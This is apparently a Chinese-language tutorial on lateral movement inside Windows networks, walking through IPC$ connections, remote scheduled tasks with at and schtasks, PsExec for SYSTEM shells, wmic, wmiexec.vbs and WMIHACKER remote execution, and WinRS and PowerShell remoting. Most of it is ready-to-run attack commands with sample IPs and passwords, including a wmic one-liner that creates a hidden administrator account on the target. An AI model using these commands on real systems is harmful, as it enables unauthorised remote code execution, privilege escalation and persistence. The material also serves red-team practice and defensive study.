1. 程式人生 > 實用技巧 >內網常見橫向移動姿勢

內網常見橫向移動姿勢

###IPC利用

概念:共享”命名管道”的資源,它是為了讓程序間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。
作用:利用IPC$連線者甚至可以與目標主機建立一個連線,利用這個連線,連線者可以得到目標主機上的目錄結構、使用者列表等資訊。
基本利用條件:開啟139與445埠,管理員開啟的預設共享
net use \\192.168.5.133\ipc$ "Aa123456" /user:administrator
net use 可檢視到遠端連線情況

常見連線失敗原因:你的系統不是NT及以上系統、使用者名稱密碼錯誤、目標沒有開啟ipc$預設共享、不能成功連線目標139與445埠、命令輸入錯誤
常見錯誤號:
錯誤號5,拒絕訪問 : 很可能你使用的使用者不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$; 
錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的使用者名稱或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登入,但是網路登入服務沒有啟動 : 目標NetLogon服務未啟動。(連線域控會出現此情況)
錯誤號2242,此使用者的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
獲取詳細資訊
dir \\192.168.5.133\c$

列出程序
tasklist /S 192.168.5.133 /U administrator /P Aa123456

使用at命令在遠端機器上建立計劃任務
檢視系統目前時間
net time \\192.168.5.133

複製檔案到系統中
copy 1.bat \\192.168.5.133\C$

使用at命令在系統指定時間允許程式
at \\192.168.5.133 17:05 C:\1.bat

到時間後可見程序內啟動

定時任務是需要人工清理的 不會自動刪除
at \\192.168.5.133 ? /delete

執行任務並輸出至txt 隨後再讀取
at \\192.168.5.133 17:12 cmd.exe /c "ipconfig  >C:/2.txt"
type \\192.168.5.133\C$\2.txt

schtasks命令同理
遠端主機建立yang名稱的任務開機啟動c盤下的1.bat啟動許可權為system

立即執行任務
schtasks /run /s 192.168.5.133 /tn "yang"

刪除計劃任務

###PSEXEC利用

可以在遠端計算機上執行命令,也可以將管理員許可權提升到system許可權以執行指定程式。基本原理是通過在遠端目標機器上建立一個psexec服務,在本地磁碟生成一個名為psexesvc的二進位制檔案,然後通過psexec服務執行命令,執行結束後刪除服務
需要獲取目標作業系統的互動式shell,在建立了ipc$的情況下,如下,可以獲取system許可權
Psexec.exe -accepteula \\192.168.5.131 -s cmd.exe 不加-s會返回一個administrator許可權

若沒有建立ipc$連線,可以指定賬戶密碼進行連線
Psexec.exe \\192.168.5.131 -u administrator -p Aa123456 cmd.exe

也可以直接進行命令的回顯

msf上線如下

###WMI利用 利用條件: 遠端伺服器啟動Windows Management Instrumentation服務,開放TCP135埠,防火牆放開對此埠的流量(預設放開) 遠端伺服器的本地安全策略的“網路訪問: 本地帳戶的共享和安全模式”應設為“經典-本地使用者以自己的身份驗證”

利用方式:
執行命令wmic /node:ip /user:使用者名稱 /password:密碼 process call create "calc"
這裡也可以進行bat指令碼執行 process call create c:\programdata\test.bat

執行情況如下:

列出程序:
wmic /node:ip /user:使用者名稱 /password:密碼 process list brief

執行單條命令:
wmic  /node:ip /user:使用者名稱 /password:密碼 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add"

###wmiexec.vbs利用

wmiexec.vbs 是為了解決 wmic 無法回顯命令而開發的一個工具,原理就是把資料先存到一個臨時檔案中,在每次讀取完執行結果後就自動刪除。可以用來回顯執行命令的結果和獲取半互動式的shell
cscript wmiexec.vbs 檢視使用介紹

cscript wmiexec.vbs /cmd 192.168.3.142 administrator Aa123456 whoami 執行命令:

cscript wmiexec.vbs /shell 192.168.3.142 administrator Aa123456 獲得互動式shell:

###WMIHACKER利用:

cscript WMIHACKER.vbs 檢視使用介紹

cscript WMIHACKER.vbs /cmd 192.168.3.142 administrator Aa123456 whoami 1  執行命令 

cscript WMIHACKER.vbs /shell 192.168.3.142 administrator Aa123456  獲得互動式shell

###WinRS利用

利用條件
1、在Windows Vista上必須手動啟動WinRM服務,但從Windows Server 2008開始,WinRM服務自動啟動。
2、預設情況下,雖然WinRM服務後臺已經執行,但並不開啟監聽模式,因此無法接受和傳送資料。
3、使用WinRM提供的quickconfig對WinRM進行配置後,Windows將開啟監聽並開啟HTTP及HTTPS監聽埠,同時Windows防火牆生成這兩個埠的例外。
winrm quickconfig對WinRM進行首次(預設)配置:

winrm enumerate winrm/config/listener  檢視WinRM服務當前的配置情況:

winrm set winrm/config/client @{TrustedHosts="*"}手動配置當前伺服器允許被任意主機連線:

winrs -r:http://192.168.3.142:5985 -u:administrator -p:Aa123456 ipconfig 連線即可

###POWERSHELL利用

Enable-PSRemoting –force 開啟PowerShell的遠端連線:

另外一臺機器直接連線即可:
enter-pssession -computername 192.168.3.142 -Credential administrator 需要手動再次輸入密碼: